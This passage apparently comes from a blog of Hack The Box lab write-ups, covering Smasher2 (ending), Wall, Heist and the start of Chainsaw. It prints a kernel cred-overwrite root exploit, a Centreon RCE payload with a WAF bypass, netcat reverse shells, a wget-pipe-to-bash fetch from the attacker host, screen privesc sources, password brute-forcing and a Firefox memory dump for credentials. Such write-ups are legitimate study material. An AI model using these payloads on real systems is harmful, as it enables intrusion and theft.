addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>                                                         
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("\033[93m[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("\033[93m[!] Open failed!\n");
return -1;
}

printf("\033[32m[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("\033[93m[!] Failed to mmap !");
close(fd);
return -1;
}

printf("\033[32m[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

puts("\033[93m[+] Searching for the process cred structure ...");

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){

printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n", addr, credNum);
puts("\033[32m[*] Got Root");
puts("\033[32m[+] Spawning a shell");

credIt += 1;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);
puts("\033[93m[!] Execl failed...");

break;
}
else{

credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}

return 0;
}

And finally:

1
2
3
4
5
6
7
8
9
10
11
12
13
dzonerzy@smasher2:/dev/shm$ ./pwn 
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#


We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft

Hack The Box - Wall

7 December 2019 at 03:00

Hack The Box - Wall

Quick Summary

Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
root@kali:~/Desktop/HTB/boxes/wall#

We got http on port 80 and ssh on port 22. Let’s check the web service.

Web Enumeration

The index page was just the default apache page:

So I ran gobuster and got these results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/06 14:08:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)

The only interesting thing was /monitoring, however that path was protected by basic http authentication:

I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:

1
2
3
4
5
6
7
root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

root@kali:~/Desktop/HTB/boxes/wall#

The response was a redirection to /centreon:

Centreon is a network, system, applicative supervision and monitoring tool. -github

Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
root@kali:~/Desktop/HTB/boxes/wall#

password1 resulted in a 200 response so its the right password:

RCE | WAF Bypass –> Shell as www-data

I checked the version of centreon and it was 19.04:

It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/Desktop/HTB/boxes/wall# searchsploit centreon
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
----------
Redacted
----------
Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py
----------
Redacted
----------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~/Desktop/HTB/boxes/wall#

But when I tried to run the exploit I didn’t get a shell:

So I started looking at the exploit code and tried to do it manually.
The vulnerability is in the poller configuration page (/main.get.php?p=60901) :

1
poller_configuration_page = url + "/main.get.php?p=60901"

The script attempts to configure a poller and this is the payload that’s sent in the POST request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,


}

nagios_bin is the vulnerable parameter:

1
2
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),

I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:

When I tried to save the configuration I got a 403:

That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash.
a:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

modified parameter:

1
"nagios_bin": "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@Wall:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/wall# stty raw -echo
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337

www-data@Wall:/usr/local/centreon/www$ export TERM=screen
www-data@Wall:/usr/local/centreon/www$

Screen 4.5.0 –> Root Shell –> User & Root Flags

There were two users on the box, shelby and sysmonitor. I couldn’t read the user flag as www-data:

1
2
3
4
5
6
7
8
9
10
11
www-data@Wall:/usr/local/centreon/www$ cd /home
www-data@Wall:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 4 00:38 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
www-data@Wall:/home$ cd shelby
www-data@Wall:/home/shelby$ cat user.txt
cat: user.txt: Permission denied
www-data@Wall:/home/shelby$

I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

rootshell.c:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~/Desktop/HTB/boxes/wall/privesc# nano libhax.c
root@kali:~/Desktop/HTB/boxes/wall/privesc# nano rootshell.c
root@kali:~/Desktop/HTB/boxes/wall/privesc# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
root@kali:~/Desktop/HTB/boxes/wall/privesc# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
root@kali:~/Desktop/HTB/boxes/wall/privesc#

Then I uploaded them to the box and did the rest of the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s

2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]

www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s

2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]

www-data@Wall:/tmp$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@Wall:/tmp$ cd /etc
www-data@Wall:/etc$ umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

www-data@Wall:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Heist
Next Hack The Box write-up : Hack The Box - Smasher2

Hack The Box - Heist

30 November 2019 at 03:00

Hack The Box - Heist

Quick Summary

Hey guys, today Heist retired and here’s my write-up about it. It’s an easy Windows machine and its ip is 10.10.10.149, I added it to /etc/hosts as heist.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:01 EST
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.16s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-11-29T15:02:39
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds
root@kali:~/Desktop/HTB/boxes/heist#

We got smb and http on port 80, I also ran another scan on port 5895 to see if winrm is running and it was:

1
2
3
4
5
6
7
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb                           Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST                               Nmap scan report for heist.htb (10.10.10.149)                                                 Host is up (0.42s latency).                                                                   PORT     STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds
root@kali:~/Desktop/HTB/boxes/heist#

Anonymous authentication wasn’t allowed on smb:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U ""
Enter WORKGROUP\'s password:
session setup failed: NT_STATUS_LOGON_FAILURE
root@kali:~/Desktop/HTB/boxes/heist#

So let’s check the web service.

Web Enumeration

The index page had a login form, however there was a guest login option:

After getting in as guest I got this issues page:

A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0 mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh

For the type 7 passwords I used this online tool to crack them:


And for the other hash I cracked it with john:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/Desktop/HTB/boxes/heist# cat hash.txt 
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
root@kali:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Desktop/HTB/boxes/heist#

Enumerating Users –> Shell as Chase –> User Flag

So far we have hazard and rout3r as potential usernames and stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d as potential passwords.
I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there weren’t any useful shares:

1
2
3
4
5
6
7
8
9
10
root@kali:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard'
Enter WORKGROUP\hazard's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
root@kali:~/Desktop/HTB/boxes/heist#

I used lookupsid.py from impacket to enumerate the other users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/HTB/boxes/heist# /opt/impacket/examples/lookupsid.py hazard:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
root@kali:~/Desktop/HTB/boxes/heist#

Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:

Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag

After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls

Directory: C:\Users\Chase\appdata\Roaming
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/22/2019 7:14 AM Adobe d---s- 4/22/2019 7:14 AM Microsoft d----- 4/22/2019 8:01 AM Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls

Directory: C:\Users\Chase\appdata\Roaming\Mozilla

Mode LastWriteTime Length Name
---- ------------- ------ ----

d----- 4/22/2019 8:01 AM Extensions
d----- 4/22/2019 8:01 AM Firefox
d----- 4/22/2019 8:01 AM SystemExtensionsDev
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

And there were some Firefox processes running:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
----------
REDACTED
----------
358 26 16304 279888 0.77 1408 1 firefox
343 19 9876 264068 0.88 4980 1 firefox
408 31 17344 60988 1.92 5096 1 firefox
390 30 26184 58192 9.94 6556 1 firefox
1232 68 110456 183140 22.83 7076 1 firefox
----------
REDACTED
----------
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

I uploaded procdump.exe and dumped one of these processes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> cd C:\Windows\System32\spool\drivers\color
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload procdump64.exe
Info: Uploading procdump64.exe to C:\windows\system32\spool\drivers\color\procdump64.exe

Data: 455560 bytes of 455560 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> .\procdump64.exe -accepteula -ma 4980

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[21:15:31] Dump 1 initiated: C:\Windows\System32\spool\drivers\color\firefox.exe_191129_211531.dmp
[21:15:32] Dump 1 writing: Estimated dump file size is 265 MB.
[21:15:35] Dump 1 complete: 265 MB written in 3.6 seconds
[21:15:35] Dump count reached.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>

Then I uploaded strings.exe and used it on the dump and saved the output to another file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload strings64.exe
Info: Uploading strings64.exe to C:\windows\system32\spool\drivers\color\strings64.exe

Data: 218676 bytes of 218676 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
cmd.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color>

I searched for the word “password” and found Administrator’s credentials exposed in some GET requests:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> findstr "password" ./firefox.exe_191129_211531.txt
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
browser.safebrowsing.passwords.enabled
services.sync.engine.passwords.validation.percentageChance
security.ask_for_password
----------
REDACTED
----------


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Chainsaw
Next Hack The Box write-up : Hack The Box - Wall

Hack The Box - Chainsaw

23 November 2019 at 03:00

Hack The Box - Chainsaw

Quick Summary

Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.2s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
